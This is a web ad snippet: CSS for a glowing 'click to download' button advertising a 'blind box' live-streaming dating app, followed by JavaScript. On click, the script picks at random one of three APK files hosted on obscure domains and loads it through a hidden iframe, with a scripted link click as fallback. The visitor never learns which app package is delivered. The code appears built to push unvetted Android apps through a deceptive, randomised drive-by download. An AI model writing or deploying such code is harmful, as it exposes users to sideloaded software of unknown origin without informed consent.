.ad-title {
position: relative;
padding: 15px 25px;
margin: 10px;
border-radius: 8px;
background: #fff;
color: #333;
font-size: 20px;
text-align: center;
cursor: pointer;
overflow: hidden;
transition: 0.3s;
border: 2px solid transparent;
}
/* 流光边框效果 */
.ad-title::before {
content: '';
position: absolute;
top: -2px;
left: -2px;
right: -2px;
bottom: -2px;
background: linear-gradient(45deg,
transparent 25%,
#ff4757 40%,
#ffa502 60%,
transparent 75%);
background-size: 200% 200%;
animation: borderFlow 2.5s linear infinite;
z-index: -1;
border-radius: 8px;
}
/* 悬浮放大效果 */
.ad-title:hover {
transform: scale(1.03);
box-shadow: 0 4px 15px rgba(255,71,87,0.3);
}
/* 高亮文字 */
.highlight {
color: #ff6b6b;
font-weight: 700;
text-shadow: 0 2px 4px rgba(255,107,107,0.2);
}
@keyframes borderFlow {
0% {
background-position: 100% 100%;
opacity: 0.8;
}
50% {
background-position: 0 0;
opacity: 1;
}
100% {
background-position: -100% -100%;
opacity: 0.8;
}
}
?老司机抽盲盒:直播交友APP 点击下载 - 每次不同!
// 动态链接池(带缓存清除)
const linkPool = [
`https://apk.zaidoupao.com/psd_stay_hclmkm25.apk`,
`https://resource.mlkj52.cn/DJ-tcxd_lihcxd11.apk`,
`http://d1.youyitv.cn/a/c/55/MeiYing_55913.apk`
];
// 可靠跳转方法
const safeRedirect = (() => {
let isActive = true;
return (url) => {
if(!isActive) return;
// 双重跳转策略
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
try {
iframe.contentWindow.location.replace(url);
} catch(e) {
const a = document.createElement('a');
a.href = url;
a.target = '_blank';
a.rel = 'noopener noreferrer';
a.click();
}
// 5秒冷却期
isActive = false;
setTimeout(() => {
iframe.remove();
isActive = true;
}, 5000);
}
})();
// 智能处理点击
function handleSmartRedirect() {
const target = linkPool[Math.floor(Math.random() * linkPool.length)];
safeRedirect(target);
}